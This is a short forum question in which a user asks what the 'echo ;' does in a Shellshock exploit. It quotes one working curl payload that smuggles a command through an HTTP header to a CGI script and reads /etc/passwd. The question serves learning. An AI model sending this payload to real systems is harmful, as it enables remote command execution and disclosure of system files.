I was reviewing a shellshock attack and didn't understand this piece of code:
curl -v http://localhost/cgi-bin/shellshock.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
The part that I don't understand is the function of the
echo ;
in the actually executed command on the remote machine between echoing the Content-Type and /bin/cat on /etc/passwd.
What is the function of echo ;
here?
Thanks.
Asked by henry
(43 rep)
Jan 20, 2018, 12:54 AM
Last activity: Jan 20, 2018, 01:23 AM
Last activity: Jan 20, 2018, 01:23 AM